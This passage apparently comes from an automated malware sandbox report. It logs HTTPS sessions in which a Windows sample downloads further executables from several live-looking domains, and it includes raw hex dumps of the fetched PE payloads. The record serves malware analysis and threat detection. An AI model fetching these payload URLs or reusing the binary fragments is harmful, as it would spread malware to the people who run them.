2024-05-24 11:42:05 UTC	205	OUT	GET /dll/builddoc.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: kurd.computer Cache-Control: no-cache
2024-05-24 11:42:05 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Fri, 24 May 2024 11:42:07 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-05-24 11:42:05 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-05-24 11:42:05 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49762	45.130.41.108	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:05 UTC	207	OUT	GET /525403/setup.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: monoblocked.com Cache-Control: no-cache
2024-05-24 11:42:06 UTC	240	IN	HTTP/1.1 301 Moved Permanently Server: nginx-reuseport/1.21.1 Date: Fri, 24 May 2024 11:42:05 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 327 Connection: close Location: https://f.123654987.xyz/525403/setup.exe
2024-05-24 11:42:06 UTC	327	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 2e 31 32 33 36 35 34 39 38 37 2e 78 79 7a 2f 35 32 35 34 30 33 2f 73 65 74 75 70 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://f.123654987.xyz/525403/setup.exe">here</a>.</p><hr><address>Apache/2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49763	188.114.96.3	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:05 UTC	558	OUT	HEAD /post/File_294/setup294.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: fleur-de-lis.sbs Connection: Keep-Alive Cookie: _subid=38akcjk2e94c8; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1NTA5MjR9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTUwOTI0fSxcInRpbWVcIjoxNzE2NTUwOTI0fSJ9.lNB9KfD5N1rKMJGOoUZ3LB1bXp1R1joE5dDztID5k0o; _token=uuid_38akcjk2e94c8_38akcjk2e94c866507d0d17ce53.65978647
2024-05-24 11:42:06 UTC	342	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:06 GMT Content-Type: application/octet-stream Content-Length: 3034354 Connection: close Last-Modified: Fri, 24 May 2024 11:37:53 GMT ETag: "66507c11-2e4cf2" X-Content-Type-Options: nosniff CF-Cache-Status: EXPIRED Accept-Ranges: bytes Server: cloudflare CF-RAY: 888d05368eb242af-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49769	188.114.96.3	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:06 UTC	536	OUT	GET /jhgfd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: fleur-de-lis.sbs Connection: Keep-Alive Cookie: _subid=38akcjk2e94c8; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1NTA5MjR9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTUwOTI0fSxcInRpbWVcIjoxNzE2NTUwOTI0fSJ9.lNB9KfD5N1rKMJGOoUZ3LB1bXp1R1joE5dDztID5k0o; _token=uuid_38akcjk2e94c8_38akcjk2e94c866507d0d17ce53.65978647
2024-05-24 11:42:07 UTC	918	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 11:42:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Fri, 24 May 2024 11:42:06 GMT Location: /post/File_294/setup294.exe Set-Cookie: _subid=38akcjk2e94c9; expires=Mon, 24 Jun 2024 11:42:07 GMT; path=/ Set-Cookie: 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1NTA5MjR9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTUwOTI0fSxcInRpbWVcIjoxNzE2NTUwOTI0fSJ9.lNB9KfD5N1rKMJGOoUZ3LB1bXp1R1joE5dDztID5k0o; expires=Sun, 16 Oct 2078 23:24:14 GMT; path=/ Set-Cookie: _token=uuid_38akcjk2e94c9_38akcjk2e94c966507d0f219cd2.18412034; expires=Mon, 24 Jun 2024 11:42:07 GMT; path=/ Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 888d053cccbf195d-EWR
2024-05-24 11:42:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49767	37.221.125.202	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:06 UTC	231	OUT	GET /525403/setup.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: f.123654987.xyz Connection: Keep-Alive
2024-05-24 11:42:07 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:42:06 GMT Content-Type: application/octet-stream Content-Length: 7613155 Last-Modified: Fri, 24 May 2024 11:00:06 GMT Connection: close ETag: "66507336-742ae3" Accept-Ranges: bytes
2024-05-24 11:42:07 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd e1 1d 57 99 80 73 04 99 80 73 04 99 80 73 04 1a 9c 7d 04 80 80 73 04 af a6 79 04 d9 80 73 04 17 88 2c 04 98 80 73 04 99 80 72 04 21 80 73 04 1a 88 2e 04 90 80 73 04 af a6 78 04 d4 80 73 04 f6 f6 d9 04 9e 80 73 04 f6 f6 ed 04 98 80 73 04 5e 86 75 04 98 80 73 04 52 69 63 68 99 80 73 04 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f7 53 e5 4c 00 00 00 00 00 00 00 00 e0 00 0f Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Wsss}sys,sr!s.sxsss^usRichsPELSL
2024-05-24 11:42:07 UTC	16384	IN	Data Raw: 0c 8b 45 b8 c1 e8 04 a8 01 75 22 32 db ff 75 c0 e8 7f ef ff ff ff 75 dc e8 77 ef ff ff ff 75 e8 e8 6f ef ff ff 83 c4 0c e9 92 00 00 00 ff 75 c0 c6 45 fc 01 e8 5b ef ff ff 59 8d 45 dc 8d 4d e8 50 e8 2c d2 ff ff 3b 75 ec 0f 8d 81 00 00 00 8b 55 e8 8d 44 72 02 66 8b 08 66 3b cf 74 09 66 85 c9 74 0c 40 40 eb ef 2b c2 d1 f8 8b f0 eb 03 83 ce ff 85 f6 7d 03 8b 75 ec 8d 45 d0 56 50 8d 4d e8 e8 ac d2 ff ff 8b 08 c6 45 fc 04 e8 03 fe ff ff 8a d8 c6 45 fc 01 ff 75 d0 f6 db 1a db fe c3 e8 ef ee ff ff 84 db 59 74 9c 32 db ff 75 dc e8 e0 ee ff ff 8b 55 e8 59 52 e8 d6 ee ff ff 59 8b 4d f4 5f 8a c3 5e 5b 64 89 0d 00 00 00 00 c9 c3 b3 01 eb d8 56 8b f1 33 d2 e8 b6 fc ff ff 84 c0 75 02 5e c3 56 ff 15 f8 b0 41 00 85 c0 0f 95 c0 5e c3 55 8b ec 83 ec 0c 80 3d 48 31 42 00 00 Data Ascii: Eu"2uuwuouE[YEMP,;uUDrff;tft@@+}uEVPMEEuYt2uUYRYM_^[dV3u^VA^U=H1B
2024-05-24 11:42:07 UTC	16384	IN	Data Raw: ff ff 89 7d fc e8 b0 ad ff ff e9 56 ff ff ff 8b 45 e0 66 89 5d c8 66 89 5d ca 8b 40 0c 8b 74 88 fc 8b 06 8d 7d c8 57 52 8b 08 50 89 55 fc ff 51 20 3b c3 0f 85 ba 01 00 00 66 83 7d c8 13 0f 85 29 03 00 00 8b 06 8b 7d d0 8d 55 c4 8b 08 52 50 ff 51 14 3b c3 0f 85 98 01 00 00 3b 7d c4 0f 83 09 03 00 00 83 4d fc ff 8d 4d c8 e8 bc d2 ff ff 89 5d f0 8b 06 8d 55 f0 52 68 28 b2 41 00 8b 08 50 c7 45 fc 02 00 00 00 ff 11 85 c0 8b 45 f0 0f 85 cf 02 00 00 3b c3 0f 84 c7 02 00 00 89 5d ec 8b 08 8d 55 ec 52 57 50 c6 45 fc 03 ff 51 0c 85 c0 8b 45 ec 0f 85 a1 02 00 00 3b c3 0f 84 99 02 00 00 89 5d e8 8b 08 8d 55 e8 52 68 f8 b2 41 00 50 c6 45 fc 04 ff 11 3b c3 8b 45 e8 0f 85 70 02 00 00 3b c3 0f 84 68 02 00 00 8d 4d 88 e8 a6 02 00 00 8d 45 8c 8b ce 50 57 c6 45 fc 05 e8 63 Data Ascii: }VEf]f]@t}WRPUQ ;f})}URPQ;;}MM]URh(APEE;]URWPEQE;]URhAPE;Ep;hMEPWEc
2024-05-24 11:42:07 UTC	16384	IN	Data Raw: b2 41 00 ff 75 0c e8 bd 69 00 00 83 c4 0c 85 c0 75 12 8b 4d 10 8b 45 08 50 89 01 8b 08 ff 51 04 33 c0 eb 05 b8 02 40 00 80 5d c2 0c 00 56 8b 74 24 08 ff 4e 04 8b 46 04 75 14 85 f6 74 0e 8b ce e8 0d 00 00 00 56 e8 49 6f ff ff 59 33 c0 5e c2 04 00 b8 5f a3 41 00 e8 f0 6d 00 00 51 56 8b f1 89 75 f0 83 65 fc 00 8d 4e 10 e8 1e 00 00 00 8b 76 08 83 4d fc ff 85 f6 74 06 8b 06 56 ff 50 08 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c3 b8 ac a3 41 00 e8 b5 6d 00 00 51 56 8b f1 89 75 f0 8d 8e ac 01 00 00 c7 45 fc 04 00 00 00 e8 f5 76 ff ff 8d 8e 98 01 00 00 c6 45 fc 03 e8 e6 76 ff ff 8d 8e 84 01 00 00 c6 45 fc 02 e8 d7 76 ff ff 8d 8e 70 01 00 00 c6 45 fc 01 e8 c8 76 ff ff 80 65 fc 00 8d 8e 58 01 00 00 e8 b9 76 ff ff 83 4d fc ff 8b ce e8 0d 00 00 00 8b 4d f4 5e 64 89 0d 00 Data Ascii: AuiuMEPQ3@]Vt$NFutVIoY3^_AmQVueNvMtVPM^dAmQVuEvEvEvpEveXvMM^d
2024-05-24 11:42:07 UTC	16384	IN	Data Raw: c7 40 04 24 b5 41 00 c7 40 08 60 b8 41 00 89 48 0c 89 48 10 89 88 a0 00 00 00 89 48 14 88 88 90 00 00 00 88 88 91 00 00 00 c7 80 b4 00 00 00 00 00 10 00 c7 80 b8 00 00 00 00 00 40 00 88 88 c0 00 00 00 c7 00 24 b9 41 00 c7 40 04 14 b9 41 00 c7 40 08 00 b9 41 00 89 88 a4 00 00 00 89 48 1c 89 48 18 89 48 34 89 48 30 c3 55 8b ec 56 8b 75 0c 6a 10 68 4c b9 41 00 56 e8 4a 29 00 00 83 c4 0c 85 c0 75 0a 8b 4d 10 8b 45 08 89 01 eb 59 6a 10 68 a8 b2 41 00 56 e8 2c 29 00 00 83 c4 0c 85 c0 74 e2 6a 10 68 98 b2 41 00 56 e8 18 29 00 00 83 c4 0c 85 c0 75 0a 8b 45 08 8b c8 8d 50 04 eb 1c 6a 10 68 48 b2 41 00 56 e8 fa 28 00 00 83 c4 0c 85 c0 75 1d 8b 45 08 8b c8 8d 50 08 f7 d9 1b c9 23 ca 8b 55 10 89 0a 8b 08 50 ff 51 04 33 c0 eb 05 b8 02 40 00 80 5e 5d c2 0c 00 8b 44 24 Data Ascii: @$A@`AHHH@$A@A@AHHH4H0UVujhLAVJ)uMEYjhAV,)tjhAV)uEPjhHAV(uEP#UPQ3@^]D$
2024-05-24 11:42:07 UTC	16384	IN	Data Raw: ff 68 e0 b9 41 00 68 2c 4a 41 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 83 ec 58 53 56 57 89 65 e8 ff 15 74 b0 41 00 33 d2 8a d4 89 15 d0 33 42 00 8b c8 81 e1 ff 00 00 00 89 0d cc 33 42 00 c1 e1 08 03 ca 89 0d c8 33 42 00 c1 e8 10 a3 c4 33 42 00 6a 01 e8 96 0e 00 00 59 85 c0 75 08 6a 1c e8 c3 00 00 00 59 e8 48 09 00 00 85 c0 75 08 6a 10 e8 b2 00 00 00 59 33 f6 89 75 fc e8 b7 2a 00 00 ff 15 78 b0 41 00 a3 3c 5a 42 00 e8 75 29 00 00 a3 40 33 42 00 e8 1e 27 00 00 e8 60 26 00 00 e8 bb 20 00 00 89 75 d0 8d 45 a4 50 ff 15 7c b0 41 00 e8 f1 25 00 00 89 45 9c f6 45 d0 01 74 06 0f b7 45 d4 eb 03 6a 0a 58 50 ff 75 9c 56 56 ff 15 80 b0 41 00 50 e8 30 c4 fe ff 89 45 a0 50 e8 a9 20 00 00 8b 45 ec 8b 08 8b 09 89 4d 98 50 51 e8 3b 24 00 00 59 59 c3 8b 65 e8 ff 75 98 Data Ascii: hAh,JAdPd%XSVWetA33B3B3B3BjYujYHujY3u*xA<ZBu)@3B'`& uEP\|A%EEtEjXPuVVAP0EP EMPQ;$YYeu
2024-05-24 11:42:07 UTC	16384	IN	Data Raw: 85 94 00 00 00 39 5d 18 75 08 a1 4c 35 42 00 89 45 18 53 53 ff 75 10 ff 75 0c 8b 45 20 f7 d8 1b c0 83 e0 08 40 50 ff 75 18 ff 15 a8 b0 41 00 89 45 e0 3b c3 74 63 89 5d fc 8d 3c 00 8b c7 83 c0 03 24 fc e8 70 b1 ff ff 89 65 e8 8b f4 89 75 dc 57 53 56 e8 40 f2 ff ff 83 c4 0c eb 0b 6a 01 58 c3 8b 65 e8 33 db 33 f6 83 4d fc ff 3b f3 74 29 ff 75 e0 56 ff 75 10 ff 75 0c 6a 01 ff 75 18 ff 15 a8 b0 41 00 3b c3 74 10 ff 75 14 50 56 ff 75 08 ff 15 00 b0 41 00 eb 02 33 c0 8d 65 cc 8b 4d f0 64 89 0d 00 00 00 00 5f 5e 5b c9 c3 cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 56 33 c0 50 50 50 50 50 50 50 50 8b 55 0c 8d 49 00 8a 02 0a c0 74 07 42 0f ab 04 24 eb f3 8b 75 08 83 c9 ff 90 41 8a 06 0a c0 74 07 46 0f a3 04 24 73 f2 8b c1 83 c4 20 5e c9 c3 cc cc 55 8b ec 56 33 c0 50 Data Ascii: 9]uL5BESSuuE @PuAE;tc]<$peuWSV@jXe33M;t)uVuujuA;tuPVuA3eMd_^[UV3PPPPPPPPUItB$uAtF$s ^UV3P
2024-05-24 11:42:07 UTC	16384	IN	Data Raw: 01 00 00 00 a4 99 41 00 01 00 00 00 ac 99 41 00 01 00 00 00 b4 99 41 00 00 00 00 00 bc 99 41 00 ff ff ff ff c4 99 41 00 20 05 93 19 01 00 00 00 50 d1 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff d8 99 41 00 20 05 93 19 01 00 00 00 78 d1 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ec 99 41 00 20 05 93 19 02 00 00 00 a0 d1 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 00 9a 41 00 00 00 00 00 0a 9a 41 00 20 05 93 19 01 00 00 00 d0 d1 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 1c 9a 41 00 20 05 93 19 01 00 00 00 f8 d1 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 30 9a 41 00 20 05 93 19 01 00 00 Data Ascii: AAAAA PAA xAA AAA AA A0A
2024-05-24 11:42:07 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-05-24 11:42:07 UTC	16384	IN	Data Raw: 6f 45 0d 5e 18 e4 e4 fc af 33 7b 60 59 89 f9 85 e2 84 f2 29 db 3d 07 5b 61 78 d9 b0 59 dc 15 04 23 e1 4a 63 68 d5 23 41 74 a9 d8 38 60 2e 1b 30 0f 40 2c dc d4 5e 17 90 08 96 43 c7 ee 3a fb 1d b9 9e 6a e3 2d f6 1d 03 a7 9c ab ec db 20 47 9d 8d 72 40 b1 b4 10 48 7e a5 12 1f 01 70 4c 5e 25 fb f8 45 b6 8e 06 0a 69 23 f9 d2 25 db f9 de 69 44 44 c2 c1 41 21 a9 52 7d f7 76 f1 45 a4 b3 c5 1b bd 27 76 17 ff c1 4f c1 2e ba d4 5f d6 a7 90 d4 60 90 6b f4 d5 71 ca e5 2e bc d8 2b 33 9a 43 53 8e 98 41 cd 80 69 21 ef 4a 1b b2 54 e1 fe 3d 39 8b 8e ab 21 7c 5f 40 ea d7 41 e2 64 ba 4f 3b eb 63 c5 9d fd f6 82 57 4a a6 a4 98 df ab 58 0f 6a c4 90 55 b8 56 7f 03 be ff 2b 4b d5 56 7a ea 5d d9 53 7b fa c6 d1 14 14 57 e1 3a 51 c4 ad 74 f7 3e 5d 37 6f a8 5a 5c ec b8 6b f0 61 e3 64 Data Ascii: oE^3{`Y)=[axY#Jch#At8`.0@,^C:j- Gr@H~pL^%Ei#%iDDA!R}vE'vO._`kq.+3CSAi!JT=9!\|_@AdO;cWJXjUV+KVz]S{W:Qt>]7oZ\kad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49772	188.114.96.3	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:07 UTC	557	OUT	GET /post/File_294/setup294.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: fleur-de-lis.sbs Connection: Keep-Alive Cookie: _subid=38akcjk2e94c9; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1NTA5MjR9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTUwOTI0fSxcInRpbWVcIjoxNzE2NTUwOTI0fSJ9.lNB9KfD5N1rKMJGOoUZ3LB1bXp1R1joE5dDztID5k0o; _token=uuid_38akcjk2e94c9_38akcjk2e94c966507d0f219cd2.18412034
2024-05-24 11:42:07 UTC	346	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:07 GMT Content-Type: application/octet-stream Content-Length: 3034354 Connection: close Last-Modified: Fri, 24 May 2024 11:37:53 GMT ETag: "66507c11-2e4cf2" X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Server: cloudflare CF-RAY: 888d0542ea987ca5-EWR
2024-05-24 11:42:07 UTC	1023	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 76 b8 0c 70 32 d9 62 23 32 d9 62 23 32 d9 62 23 86 45 93 23 3f d9 62 23 86 45 91 23 be d9 62 23 86 45 90 23 2a d9 62 23 b2 a2 9f 23 30 d9 62 23 b2 a2 66 22 21 d9 62 23 b2 a2 61 22 2a d9 62 23 b2 a2 67 22 05 d9 62 23 3b a1 e1 23 39 d9 62 23 3b a1 f1 23 35 d9 62 23 32 d9 63 23 2c d8 62 23 bc a2 67 22 00 d9 62 23 bc a2 62 22 33 d9 62 23 bc a2 9d 23 33 d9 62 23 bc a2 60 22 33 d9 62 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$vp2b#2b#2b#E#?b#E#b#E#b##0b#f"!b#a"b#g"b#;#9b#;#5b#2c#,b#g"b#b"3b##3b#`"3b
2024-05-24 11:42:07 UTC	1369	IN	Data Raw: 00 68 70 90 44 00 e8 58 70 00 00 c3 cc cc cc cc cc b9 c8 b0 44 00 e9 26 82 00 00 cc cc cc cc cc cc b9 88 b0 44 00 e8 f3 1c 01 00 68 20 af 43 00 e8 f5 4c 02 00 59 c3 cc cc cc cc cc cc cc cc cc cc 68 30 af 43 00 e8 df 4c 02 00 59 c3 cc cc cc cc e8 86 58 01 00 a3 08 22 45 00 c3 cc cc cc cc cc b9 20 22 45 00 e9 36 74 01 00 cc cc cc cc cc cc 68 50 af 43 00 e8 af 4c 02 00 59 c3 cc cc cc cc 68 60 af 43 00 e8 9f 4c 02 00 59 c3 cc cc cc cc b9 c0 23 45 00 e8 4d 3c 01 00 68 70 af 43 00 e8 85 4c 02 00 59 c3 cc cc cc cc cc cc cc cc cc cc 68 80 af 43 00 e8 6f 4c 02 00 59 c3 cc cc cc cc 68 90 af 43 00 e8 5f 4c 02 00 59 c3 cc cc cc cc b9 d0 23 45 00 e8 e1 e3 01 00 68 a0 af 43 00 e8 45 4c 02 00 59 c3 cc cc cc cc cc cc cc cc cc cc b9 40 23 45 00 e8 ec e3 01 00 68 b0 af 43 Data Ascii: hpDXpD&Dh CLYh0CLYX"E "E6thPCLYh`CLY#EM<hpCLYhCoLYhC_LY#EhCELY@#EhC
2024-05-24 11:42:07 UTC	1369	IN	Data Raw: cc cc cc cc cc cc cc cc 8d 41 04 c7 01 74 d9 43 00 50 e8 e0 53 02 00 59 c3 55 8b ec 53 8b 5d 10 56 57 8b 7d 08 53 ff 75 0c 57 e8 be 05 00 00 8b 75 18 8d 04 5f 56 ff 75 14 50 e8 ae 05 00 00 8d 04 33 33 c9 66 89 0c 47 5f 5e 5b 5d c2 14 00 56 8b 74 24 08 57 8b 7c 24 14 57 ff 74 24 14 56 e8 89 05 00 00 66 8b 44 24 18 66 89 04 7e 33 c0 66 89 44 7e 02 5f 5e c2 10 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b f1 8d 46 04 c7 06 74 d9 43 00 50 e8 5d 53 02 00 f6 44 24 0c 01 59 74 0a 6a 0c 56 e8 24 3e 02 00 59 59 8b c6 5e c2 04 00 55 8d ac 24 6c ff ff ff 81 ec 94 00 00 00 6a ff 68 6d 8f 43 00 64 a1 00 00 00 00 50 83 ec 60 a1 78 87 44 00 33 c5 89 85 90 00 00 00 53 56 